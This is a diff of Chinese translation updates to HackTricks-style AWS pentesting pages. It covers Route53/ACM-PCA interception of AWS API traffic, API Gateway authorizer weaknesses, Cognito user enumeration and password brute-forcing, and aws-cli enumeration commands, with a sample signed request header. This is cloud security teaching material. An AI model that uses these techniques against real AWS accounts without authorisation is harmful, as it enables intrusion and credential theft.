-有关Route53的更多信息,请查看: +有关 Route53 的更多信息,请查看: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,19 +11,19 @@ ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> 要执行此攻击,目标账户必须已经在账户中设置了[**AWS证书管理器私有证书颁发机构**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**,并且VPC中的EC2实例必须已经导入证书以信任它。建立此基础设施后,可以执行以下攻击以拦截AWS API流量。 +> 要执行此攻击,目标账户必须已经在账户中设置了 [**AWS 证书管理器私有证书颁发机构**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**,并且 VPC 中的 EC2 实例必须已经导入证书以信任它。建立此基础设施后,可以执行以下攻击以拦截 AWS API 流量。 -其他权限**建议但不是枚举部分所必需的**:`route53:GetHostedZone`,`route53:ListHostedZones`,`acm-pca:ListCertificateAuthorities`,`ec2:DescribeVpcs` +其他权限 **建议但不是枚举** 部分所需:`route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -假设有一个AWS VPC,多个云原生应用程序相互通信并与AWS API通信。由于微服务之间的通信通常是TLS加密的,因此必须有一个私有CA来为这些服务颁发有效证书。**如果使用ACM-PCA**,并且对手设法获得**控制route53和acm-pca私有CA的访问权限**,并具备上述描述的最小权限集,则可以**劫持对AWS API的应用程序调用**,接管其IAM权限。 +假设有一个 AWS VPC,多个云原生应用程序相互通信并与 AWS API 通信。由于微服务之间的通信通常是 TLS 加密的,因此必须有一个私有 CA 来为这些服务颁发有效的证书。**如果使用 ACM-PCA**,并且对手设法获得 **控制 route53 和 acm-pca 私有 CA 的访问权限**,并且具有上述描述的最小权限集,则可以 **劫持应用程序对 AWS API 的调用**,接管它们的 IAM 权限。 这是可能的,因为: -- AWS SDK不具有[证书钉扎](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53允许为AWS API域名创建私有托管区域和DNS记录 -- ACM-PCA中的私有CA不能限制仅为特定通用名称签署证书 +- AWS SDK 不支持 [证书钉扎](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 允许为 AWS API 域名创建私有托管区域和 DNS 记录 +- ACM-PCA 中的私有 CA 不能限制仅为特定通用名称签署证书 -**潜在影响:** 通过拦截流量中的敏感信息实现间接权限提升。 +**潜在影响:** 通过拦截流量中的敏感信息进行间接权限提升。 #### 利用 diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index e65f9252e..5be6146cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -12,20 +12,20 @@ - **AWS** 负责 **管理操作系统和平台**。 - AWS 提供的托管服务,通常是 **被视为容器的实际应用服务**。 - 作为这些容器服务的用户,您有许多管理和安全责任,包括 **管理网络访问安全,例如网络访问控制列表规则和任何防火墙**。 -- 另外,平台级身份和访问管理(如果存在)。 -- **AWS** 容器服务的 **示例** 包括关系数据库服务、弹性 Mapreduce 和弹性 Beanstalk。 +- 另外,平台级的身份和访问管理(IAM)在存在的情况下。 +- **AWS** 容器服务的 **示例** 包括关系数据库服务、弹性 MapReduce 和弹性 Beanstalk。 ### 抽象服务 -- 这些服务是 **从构建云应用程序的平台或管理层中移除、抽象出来的**。 +- 这些服务是 **从构建云应用程序的平台或管理层中移除、抽象化的**。 - 通过使用 AWS 应用程序编程接口(API)的端点访问这些服务。 -- **基础设施、操作系统和平台由 AWS 管理**。 -- 抽象服务提供一个多租户平台,基础设施在其上共享。 -- **数据通过安全机制隔离**。 +- **底层基础设施、操作系统和平台由 AWS 管理**。 +- 抽象服务提供一个多租户平台,底层基础设施在其上共享。 +- **数据通过安全机制进行隔离**。 - 抽象服务与 IAM 有强集成,**抽象服务的示例** 包括 S3、DynamoDB、Amazon Glacier 和 SQS。 ## 服务枚举 -**本节的页面按 AWS 服务排序。在这里您将能够找到有关服务的信息(如何工作和功能),这将允许您提升权限。** +**本节的页面按 AWS 服务排序。在这里,您将能够找到有关服务的信息(如何工作和功能),这将使您能够提升权限。** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 78c62e8f8..8c3718694 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,9 +6,9 @@ ### 基本信息 -AWS API Gateway 是亚马逊网络服务(AWS)提供的一项综合服务,旨在帮助开发者**大规模创建、发布和管理 API**。它作为应用程序的入口点,允许开发者建立一套规则和程序框架。该框架管理外部用户对应用程序中特定数据或功能的访问。 +AWS API Gateway 是亚马逊网络服务(AWS)提供的一项综合服务,旨在帮助开发人员**大规模创建、发布和管理 API**。它作为应用程序的入口点,允许开发人员建立一套规则和程序框架。该框架管理外部用户对应用程序中特定数据或功能的访问。 -API Gateway 使您能够定义**如何处理对您的 API 的请求**,并可以创建具有特定方法(例如 GET、POST、PUT、DELETE)和资源的自定义 API 端点。它还可以生成客户端 SDK(软件开发工具包),以便开发者更轻松地从他们的应用程序调用您的 API。 +API Gateway 使您能够定义**如何处理对您的 API 的请求**,并可以创建具有特定方法(例如 GET、POST、PUT、DELETE)和资源的自定义 API 端点。它还可以生成客户端 SDK(软件开发工具包),以便开发人员更轻松地从其应用程序调用您的 API。 ### API 网关类型 @@ -19,11 +19,11 @@ API Gateway 使您能够定义**如何处理对您的 API 的请求**,并可 ### API Gateway 主要组件 -1. **资源**:在 API Gateway 中,资源是**构成您 API 结构的组件**。它们代表**您 API 的不同路径或端点**,并对应于您的 API 支持的各种操作。资源是每个路径(/、/users 或 /user/{id})**内的每个方法**(例如 GET、POST、PUT、DELETE)。 -2. **阶段**:API Gateway 中的阶段代表您 API 的**不同版本或环境**,例如开发、预发布或生产。您可以使用阶段来管理和部署**多个版本的 API 同时**,允许您在不影响生产环境的情况下测试新功能或修复错误。阶段还**支持阶段变量**,这些是可以根据当前阶段配置 API 行为的键值对。例如,您可以使用阶段变量根据阶段将 API 请求定向到不同的 Lambda 函数或其他后端服务。 +1. **资源**:在 API Gateway 中,资源是**构成您 API 结构的组件**。它们代表**您 API 的不同路径或端点**,并对应于您的 API 支持的各种操作。资源是每个方法(例如 GET、POST、PUT、DELETE)**在每个路径内**(/,或 /users,或 /user/{id})。 +2. **阶段**:API Gateway 中的阶段代表您 API 的**不同版本或环境**,例如开发、预发布或生产。您可以使用阶段来管理和部署**多个版本的 API 同时**,允许您测试新功能或修复错误而不影响生产环境。阶段还**支持阶段变量**,这些是可以根据当前阶段配置 API 行为的键值对。例如,您可以使用阶段变量将 API 请求定向到不同的 Lambda 函数或其他后端服务,具体取决于阶段。 - 阶段在 API Gateway 端点的 URL 开头指示。 -3. **授权者**:API Gateway 中的授权者负责**控制对您 API 的访问**,通过在允许请求继续之前验证调用者的身份。您可以使用**AWS Lambda 函数**作为自定义授权者,这使您能够实现自己的身份验证和授权逻辑。当请求到达时,API Gateway 将请求的授权令牌传递给 Lambda 授权者,后者处理该令牌并返回一个 IAM 策略,确定调用者被允许执行的操作。API Gateway 还支持**内置授权者**,如**AWS 身份与访问管理(IAM)**和**亚马逊 Cognito**。 -4. **资源策略**:API Gateway 中的资源策略是一个 JSON 文档,**定义访问您 API 的权限**。它类似于 IAM 策略,但专门为 API Gateway 定制。您可以使用资源策略来控制谁可以访问您的 API,他们可以调用哪些方法,以及他们可以从哪些 IP 地址或 VPC 连接。**资源策略可以与授权者结合使用**,为您的 API 提供细粒度的访问控制。 +3. **授权者**:API Gateway 中的授权者负责**控制对您 API 的访问**,通过在允许请求继续之前验证调用者的身份。您可以使用**AWS Lambda 函数**作为自定义授权者,这使您能够实现自己的身份验证和授权逻辑。当请求到达时,API Gateway 将请求的授权令牌传递给 Lambda 授权者,后者处理该令牌并返回一个 IAM 策略,确定调用者被允许执行的操作。API Gateway 还支持**内置授权者**,如**AWS 身份和访问管理(IAM)**和**亚马逊 Cognito**。 +4. **资源策略**:API Gateway 中的资源策略是一个 JSON 文档,**定义访问您 API 的权限**。它类似于 IAM 策略,但专门针对 API Gateway 量身定制。您可以使用资源策略来控制谁可以访问您的 API,他们可以调用哪些方法,以及他们可以从哪些 IP 地址或 VPC 连接。**资源策略可以与授权者结合使用**,为您的 API 提供细粒度的访问控制。 - 为了使效果生效,API 需要在**修改资源策略后重新部署**。 ### 日志记录 @@ -33,7 +33,7 @@ API Gateway 使您能够定义**如何处理对您的 API 的请求**,并可 ### 枚举 > [!TIP] -> 请注意,在两个 AWS API 中枚举资源(**`apigateway`** 和 **`apigatewayv2`**)时,您所需的唯一权限和唯一可授予的读取权限是**`apigateway:GET`**,通过此权限您可以**枚举所有内容**。 +> 请注意,在两个 AWS API 中枚举资源(**`apigateway`** 和 **`apigatewayv2`**)时,您所需的唯一权限和唯一可授予的读取权限是**`apigateway:GET`**,通过该权限您可以**枚举所有内容。** {{#tabs }} {{#tab name="apigateway" }} @@ -135,11 +135,11 @@ https://.execute-api..amazonaws.com// ### IAM 授权者 -可以设置路径(资源)中的方法需要 IAM 身份验证才能调用。 +可以设置路径中的方法(资源)需要 IAM 身份验证才能调用。
-设置后,当您尝试在没有任何授权的情况下访问端点时,将收到错误 `{"message":"Missing Authentication Token"}`。 +当设置此项时,如果您尝试在没有任何授权的情况下访问端点,将收到错误 `{"message":"Missing Authentication Token"}`。 生成应用程序所需的预期令牌的一种简单方法是使用 **curl**。 ```bash @@ -155,7 +155,7 @@ $ curl -X https://.execute-api..amazonaws.com//< ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -注意,在其他情况下,**Authorizer** 可能被 **错误编码**,只需在 **Authorization header** 中发送 **任何内容** 就会 **允许查看隐藏内容**。 +请注意,在其他情况下,**Authorizer** 可能被 **错误编码**,只需在 **Authorization header** 中发送 **任何内容** 就会 **允许查看隐藏内容**。 ### 使用 Python 进行请求签名 ```python @@ -236,7 +236,7 @@ return policy ```
-用类似下面的方式调用它: +调用它时可以使用类似以下的命令:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
@@ -246,7 +246,7 @@ return policy 请注意,如果生成并返回了**拒绝策略**,API Gateway返回的错误是:`{"Message":"User is not authorized to access this resource with an explicit deny"}` -通过这种方式,您可以**识别此授权**的存在。 +这样你可以**识别出这个授权**的存在。 ### 所需的API密钥 @@ -256,7 +256,7 @@ return policy 可以在API Gateway门户中生成API密钥,甚至可以设置其使用量(每秒请求数和每月请求数)。 -要使API密钥生效,您需要将其添加到**使用计划**中,该使用计划必须添加到**API阶段**,并且相关的API阶段需要为需要API密钥的**端点**配置**方法限流**: +要使API密钥生效,需要将其添加到**使用计划**中,该使用计划必须添加到**API阶段**,并且相关的API阶段需要为需要API密钥的**端点**配置**方法限流**:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index d258685f1..770e72d4a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -1,14 +1,14 @@ -# AWS - 证书管理器 (ACM) & 私有证书授权机构 (PCA) +# AWS - 证书管理器 (ACM) & 私有证书授权 (PCA) {{#include ../../../banners/hacktricks-training.md}} ## 基本信息 -**AWS 证书管理器 (ACM)** 是一项旨在简化 **SSL/TLS 证书的提供、管理和部署** 的服务,适用于 AWS 服务和内部资源。ACM **消除了** 手动流程的必要性,例如购买、上传和证书续订。这使得用户能够高效地请求和实施证书,适用于各种 AWS 资源,包括 **弹性负载均衡器、Amazon CloudFront 分发和 API 网关上的 API**。 +**AWS 证书管理器 (ACM)** 是一项旨在简化 **SSL/TLS 证书的提供、管理和部署** 的服务,适用于 AWS 服务和内部资源。ACM **消除了** 手动流程的必要性,例如购买、上传和证书续订。这使得用户能够高效地请求和实施证书在各种 AWS 资源上,包括 **弹性负载均衡器、Amazon CloudFront 分发和 API 网关上的 API**。 -ACM 的一个关键特性是 **证书的自动续订**,显著减少了管理开销。此外,ACM 支持创建和集中管理 **用于内部使用的私有证书**。尽管通过 ACM 提供的集成 AWS 服务(如弹性负载均衡、Amazon CloudFront 和 Amazon API 网关)的 SSL/TLS 证书没有额外费用,但用户需承担其应用程序所使用的 AWS 资源相关费用,以及每个 **私有证书授权机构 (CA)** 和在集成 ACM 服务之外使用的私有证书的月费。 +ACM 的一个关键特性是 **证书的自动续订**,显著减少了管理开销。此外,ACM 支持创建和集中管理 **用于内部使用的私有证书**。尽管通过 ACM 提供的集成 AWS 服务(如弹性负载均衡、Amazon CloudFront 和 Amazon API 网关)的 SSL/TLS 证书没有额外费用,但用户需负责其应用程序所使用的 AWS 资源相关费用,以及每个 **私有证书授权 (CA)** 和在集成 ACM 服务之外使用的私有证书的月费。 -**AWS 私有证书授权机构** 作为 **托管私有 CA 服务** 提供,增强了 ACM 的功能,将证书管理扩展到包括私有证书。这些私有证书在组织内部资源的身份验证中发挥着重要作用。 +**AWS 私有证书授权** 作为 **托管私有 CA 服务** 提供,增强了 ACM 的功能,将证书管理扩展到包括私有证书。这些私有证书在组织内部资源的身份验证中发挥着重要作用。 ## 枚举 @@ -46,11 +46,11 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` -## Privesc +## 提权 TODO -## Post Exploitation +## 后期利用 TODO diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index c95f37ef1..9e7b3efce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation 是一项旨在 **简化 AWS 资源管理** 的服务。它使用户能够更多地关注在 AWS 上运行的应用程序,通过 **减少在资源管理上花费的时间**。该服务的核心功能是 **模板**——所需 AWS 资源的描述模型。一旦提供了该模板,CloudFormation 负责 **指定资源的供应和配置**。这种自动化促进了更高效和无错误的 AWS 基础设施管理。 +AWS CloudFormation 是一个旨在 **简化 AWS 资源管理** 的服务。它使用户能够更多地专注于在 AWS 上运行的应用程序,通过 **减少在资源管理上花费的时间**。该服务的核心功能是 **模板**——所需 AWS 资源的描述模型。一旦提供了该模板,CloudFormation 负责指定资源的 **供应和配置**。这种自动化促进了更高效和无错误的 AWS 基础设施管理。 ### Enumeration ```bash @@ -56,15 +56,15 @@ aws codestar list-team-members --project-id aws codestar list-user-profiles aws codestar describe-user-profile --user-arn ``` -### Privesc +### 提权 -在以下页面中,您可以查看如何**滥用codestar权限以提升特权**: +在以下页面中,您可以查看如何**滥用 codestar 权限以提升特权**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## 参考 - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 8b134e7cd..3635c2b57 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,17 +4,17 @@ ## CloudFront -CloudFront 是 AWS 的 **内容分发网络,能够加速** 通过其全球边缘位置网络分发您的静态和动态内容。当您使用通过 Amazon CloudFront 托管的请求内容时,请求会被路由到最近的边缘位置,从而提供最低延迟以实现最佳性能。当 **CloudFront 访问日志** 被启用时,您可以记录每个用户请求访问您网站和分发的请求。与 S3 访问日志一样,这些日志也 **存储在 Amazon S3 中以实现持久和耐用的存储**。启用日志记录本身没有费用,但由于日志存储在 S3 中,您将为 S3 使用的存储付费。 +CloudFront 是 AWS 的 **内容分发网络,加速分发** 您的静态和动态内容,通过其全球边缘位置网络。当您使用通过 Amazon CloudFront 托管的请求内容时,请求会路由到最近的边缘位置,从而提供最低延迟以实现最佳性能。当 **CloudFront 访问日志** 被启用时,您可以记录每个用户请求访问您网站和分发的请求。与 S3 访问日志一样,这些日志也 **存储在 Amazon S3 中,以实现持久和耐用的存储**。启用日志记录本身没有费用,但由于日志存储在 S3 中,您将为 S3 使用的存储付费。 -日志文件在一段时间内捕获数据,具体取决于 Amazon CloudFront 为该分发接收到的请求数量,这将决定生成的日志文件数量。重要的是要知道,这些日志文件并不是在 S3 上创建或写入的。S3 只是它们在日志文件满时被传送到的地方。**Amazon CloudFront 保留这些日志,直到它们准备好传送到 S3**。同样,具体取决于这些日志文件的大小,这种传送可能需要 **一到 24 小时**。 +日志文件在一段时间内捕获数据,具体取决于 Amazon CloudFront 为该分发接收到的请求数量,这将决定生成的日志文件数量。重要的是要知道,这些日志文件并不是在 S3 上创建或写入的。S3 只是它们在日志文件满时被交付的地方。**Amazon CloudFront 保留这些日志,直到它们准备好交付给 S3**。同样,具体取决于这些日志文件的大小,这种交付可能需要 **一到 24 小时**。 **默认情况下,Cookie 日志记录是禁用的**,但您可以启用它。 ### Functions -您可以在 CloudFront 中创建函数。这些函数将具有定义的 **cloudfront 端点**,并将运行声明的 **NodeJS 代码**。这段代码将在运行在 AWS 管理机器上的 **沙箱** 内运行(您需要一个沙箱绕过才能成功逃逸到底层操作系统)。 +您可以在 CloudFront 中创建函数。这些函数将具有其 **在 cloudfront 中的端点**,并将运行声明的 **NodeJS 代码**。此代码将在 AWS 管理的机器上运行的 **沙箱** 内运行(您需要一个沙箱绕过才能成功逃逸到底层操作系统)。 -由于这些函数不是在用户的 AWS 账户中运行,因此没有附加 IAM 角色,因此无法通过滥用此功能实现直接权限提升。 +由于这些函数不是在用户的 AWS 账户中运行,因此没有附加 IAM 角色,因此无法通过滥用此功能进行直接权限提升。 ### Enumeration ```bash @@ -33,7 +33,7 @@ aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origin ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## 后期利用 +## 利用后 {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index a3cdaf811..dedd23c1a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,7 +4,7 @@ ## HSM - 硬件安全模块 -Cloud HSM 是一个 FIPS 140 级别二验证的 **硬件设备**,用于安全的加密密钥存储(请注意,CloudHSM 是一个硬件设备,而不是虚拟化服务)。它是一个预装了 5.3.13 的 SafeNetLuna 7000 设备。这里有两个固件版本,您选择哪个版本实际上取决于您的具体需求。一个是用于 FIPS 140-2 合规性,还有一个更新版本可以使用。 +Cloud HSM 是一个 FIPS 140 级别二验证的 **硬件设备**,用于安全的加密密钥存储(请注意,CloudHSM 是一个硬件设备,而不是虚拟化服务)。它是一个预装了 5.3.13 的 SafeNetLuna 7000 设备。存在两个固件版本,选择哪个版本实际上取决于您的具体需求。一个是用于 FIPS 140-2 合规性,还有一个更新版本可以使用。 CloudHSM 的不寻常之处在于它是一个物理设备,因此它 **不与其他客户共享**,或者通常称为多租户。它是专用的单租户设备,仅供您的工作负载使用。 @@ -13,15 +13,15 @@ CloudHSM 的不寻常之处在于它是一个物理设备,因此它 **不与 由于这是一个专门为您提供的物理设备,**密钥存储在设备上**。密钥需要 **复制到另一个设备**、备份到离线存储,或导出到备用设备。**该设备不受** S3 或 AWS 的任何其他服务(如 KMS)的支持。 在 **CloudHSM** 中,您必须 **自行扩展服务**。您必须配置足够的 CloudHSM 设备,以处理您根据所选择的加密算法实施的加密需求。\ -密钥管理服务的扩展由 AWS 执行,并根据需求自动扩展,因此随着您的使用增长,所需的 CloudHSM 设备数量也可能增加。在扩展解决方案时请记住这一点,如果您的解决方案具有自动扩展功能,请确保您的最大扩展考虑到足够的 CloudHSM 设备来服务该解决方案。 +密钥管理服务的扩展由 AWS 执行,并根据需求自动扩展,因此随着您的使用增长,所需的 CloudHSM 设备数量也可能增加。在扩展解决方案时请记住这一点,如果您的解决方案具有自动扩展功能,请确保您的最大扩展考虑到足够的 CloudHSM 设备以服务该解决方案。 -就像扩展一样,**CloudHSM 的性能取决于您**。性能因使用的加密算法和您需要访问或检索密钥以加密数据的频率而异。密钥管理服务的性能由亚马逊处理,并根据需求自动扩展。CloudHSM 的性能通过添加更多设备来实现,如果您需要更高的性能,您可以添加设备或更改加密方法为更快的算法。 +就像扩展一样,**CloudHSM 的性能取决于您**。性能因使用的加密算法和访问或检索密钥以加密数据的频率而异。密钥管理服务的性能由 Amazon 处理,并根据需求自动扩展。CloudHSM 的性能通过增加更多设备来实现,如果您需要更高的性能,您可以添加设备或更改加密方法为更快的算法。 -如果您的解决方案是 **多区域的**,您应该在第二个区域添加几个 **CloudHSM 设备,并通过私有 VPN 连接解决跨区域连接问题**,或采用某种方法确保在每一层连接中流量始终受到保护。如果您有多区域解决方案,您需要考虑如何 **复制密钥并在您运营的区域设置额外的 CloudHSM 设备**。您可能很快就会进入一个场景,您在多个区域分布有六个或八个设备,从而实现加密密钥的完全冗余。 +如果您的解决方案是 **多区域的**,您应该在第二个区域添加几个 **CloudHSM 设备,并通过私有 VPN 连接或某种方法确保在每一层连接中流量始终受到保护**。如果您有多区域解决方案,您需要考虑如何 **复制密钥并在您运营的区域设置额外的 CloudHSM 设备**。您可能很快就会进入一个场景,您在多个区域分布有六个或八个设备,从而实现加密密钥的完全冗余。 -**CloudHSM** 是一个企业级服务,用于安全密钥存储,可以作为 **企业的信任根**。它可以在 PKI 中存储私钥和在 X509 实现中的证书颁发机构密钥。除了在对称算法(如 AES)中使用的对称密钥外,**KMS 仅存储和物理保护对称密钥(不能充当证书颁发机构)**,因此如果您需要存储 PKI 和 CA 密钥,两个或三个 CloudHSM 可能是您的解决方案。 +**CloudHSM** 是一个企业级服务,用于安全密钥存储,可以作为 **企业的信任根**。它可以在 PKI 中存储私钥和在 X509 实现中的证书授权密钥。除了在对称算法(如 AES)中使用的对称密钥外,**KMS 仅存储和物理保护对称密钥(不能充当证书授权)**,因此如果您需要存储 PKI 和 CA 密钥,两个或三个 CloudHSM 可能是您的解决方案。 -**CloudHSM 的成本明显高于密钥管理服务**。CloudHSM 是一个硬件设备,因此您需要固定成本来配置 CloudHSM 设备,然后是运行该设备的每小时费用。目前每小时的费用为 1.88 美元,或每月大约 1,373 美元。 +**CloudHSM 的成本明显高于密钥管理服务**。CloudHSM 是一个硬件设备,因此您需要固定成本来配置 CloudHSM 设备,然后是运行设备的每小时费用。目前每小时的费用为 1.88 美元,或每月大约 1,373 美元。 使用 CloudHSM 的最常见原因是您必须满足的合规标准。**KMS 不支持非对称密钥的数据支持。CloudHSM 允许您安全地存储非对称密钥**。 @@ -29,7 +29,7 @@ CloudHSM 的不寻常之处在于它是一个物理设备,因此它 **不与 ### 什么是硬件安全模块 -硬件安全模块(HSM)是一个专用的加密设备,用于生成、存储和管理加密密钥并保护敏感数据。它旨在通过物理和电子隔离加密功能与系统的其余部分来提供高水平的安全性。 +硬件安全模块(HSM)是一个专用的加密设备,用于生成、存储和管理加密密钥并保护敏感数据。它旨在通过物理和电子隔离加密功能与系统的其余部分提供高水平的安全性。 HSM 的工作方式可能因具体型号和制造商而异,但通常会发生以下步骤: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 0759c9261..4cc14b228 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild** 被认为是一个 **完全托管的持续集成服务**。该服务的主要目的是自动化编译源代码、执行测试和打包软件以便于部署的过程。CodeBuild 提供的主要好处在于它能够减轻用户配置、管理和扩展构建服务器的需求。这种便利性是因为该服务本身管理这些任务。AWS CodeBuild 的基本功能包括: +AWS **CodeBuild** 被认为是一个 **完全托管的持续集成服务**。该服务的主要目的是自动化编译源代码、执行测试和打包软件以便于部署的过程。CodeBuild 提供的主要好处在于它能够减轻用户配置、管理和扩展构建服务器的需求。这种便利性是因为服务本身管理这些任务。AWS CodeBuild 的基本功能包括: 1. **托管服务**:CodeBuild 管理和扩展构建服务器,使用户免于服务器维护。 2. **持续集成**:它与开发和部署工作流程集成,自动化软件发布过程中的构建和测试阶段。 @@ -16,13 +16,13 @@ AWS CodeBuild 与其他 AWS 服务无缝集成,提高了 CI/CD(持续集成/ #### **默认源凭证** -这是一个遗留选项,可以配置一些 **访问**(如 Github 令牌或应用程序),这些访问将 **在 codebuild 项目之间共享**,以便所有项目都可以使用这组配置的凭证。 +这是一个遗留选项,可以配置一些 **访问**(如 Github 令牌或应用),这些访问将 **在 codebuild 项目之间共享**,以便所有项目都可以使用这组配置的凭证。 -存储的凭证(令牌、密码等)由 **codebuild 管理**,并且没有任何公共方式可以通过 AWS API 检索它们。 +存储的凭证(令牌、密码等)由 **codebuild 管理**,并且没有任何公共方式可以从 AWS API 中检索它们。 #### 自定义源凭证 -根据存储库平台(Github、Gitlab 和 Bitbucket),提供不同的选项。但一般来说,任何需要 **存储令牌或密码的选项都将作为秘密存储在秘密管理器中**。 +根据存储库平台(Github、Gitlab 和 Bitbucket),提供不同的选项。但一般来说,任何需要 **存储令牌或密码的选项将作为秘密存储在秘密管理器中**。 这允许 **不同的 codebuild 项目使用不同配置的访问** 提供者,而不仅仅是使用配置的默认访问。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 956cff7a3..e5c950f0c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### 身份池 - 未认证枚举 -仅仅**知道身份池ID**,您可能能够**获取与未认证**用户(如果有的话)相关联的角色的凭证。[**查看方法**](cognito-identity-pools.md#accessing-iam-roles)。 +仅仅**知道身份池ID**,您可能能够**获取与未认证**用户(如果有的话)相关联的角色的凭证。 [**查看方法**](cognito-identity-pools.md#accessing-iam-roles)。 ### 用户池 - 未认证枚举 -即使您**不知道Cognito中的有效用户名**,您也可能能够**枚举**有效的**用户名**,**暴力破解****密码**,甚至**注册新用户**,只需**知道应用客户端ID**(通常在源代码中找到)。[**查看方法**](cognito-user-pools.md#registration)**.** +即使您**不知道Cognito中的有效用户名**,您也可能能够**枚举**有效的**用户名**,**暴力破解****密码**,甚至**注册新用户**,只需**知道应用客户端ID**(通常在源代码中找到)。 [**查看方法**](cognito-user-pools.md#registration)**.** ## 权限提升 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 0c73383a2..4d24350cc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,12 +4,12 @@ ## 基本信息 -身份池通过使您的用户能够**获取临时凭证**,在其中发挥着至关重要的作用。这些凭证对于访问各种AWS服务至关重要,包括但不限于Amazon S3和DynamoDB。身份池的一个显著特点是它们支持匿名访客用户以及多种身份提供者进行用户身份验证。支持的身份提供者包括: +身份池通过使您的用户能够**获取临时凭证**,在其中发挥着至关重要的作用。这些凭证对于访问各种AWS服务至关重要,包括但不限于Amazon S3和DynamoDB。身份池的一个显著特点是它们支持匿名访客用户和多种身份提供者进行用户身份验证。支持的身份提供者包括: -- Amazon Cognito用户池 +- Amazon Cognito 用户池 - 社交登录选项,如Facebook、Google、使用Amazon登录和使用Apple登录 - 符合OpenID Connect (OIDC)的提供者 -- SAML (安全声明标记语言)身份提供者 +- SAML (安全声明标记语言) 身份提供者 - 开发者认证身份 ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: @@ -35,21 +35,21 @@ print(response) ``` ### Cognito Sync -要生成身份池会话,您首先需要**生成身份 ID**。这个身份 ID 是**该用户会话的标识**。这些标识可以有多达 20 个数据集,可以存储多达 1MB 的键值对。 +要生成身份池会话,您首先需要**生成身份 ID**。这个身份 ID 是**该用户会话的标识**。这些标识最多可以有 20 个数据集,可以存储最多 1MB 的键值对。 这对于**保持用户信息**(将始终使用相同的身份 ID)是**有用的**。 -此外,服务**cognito-sync**是允许**管理和同步这些信息**的服务(在数据集中,发送信息到流和 SNS 消息...)。 +此外,服务**cognito-sync**是允许**管理和同步这些信息**(在数据集中,发送流和 SNS 消息等)的服务。 ### Tools 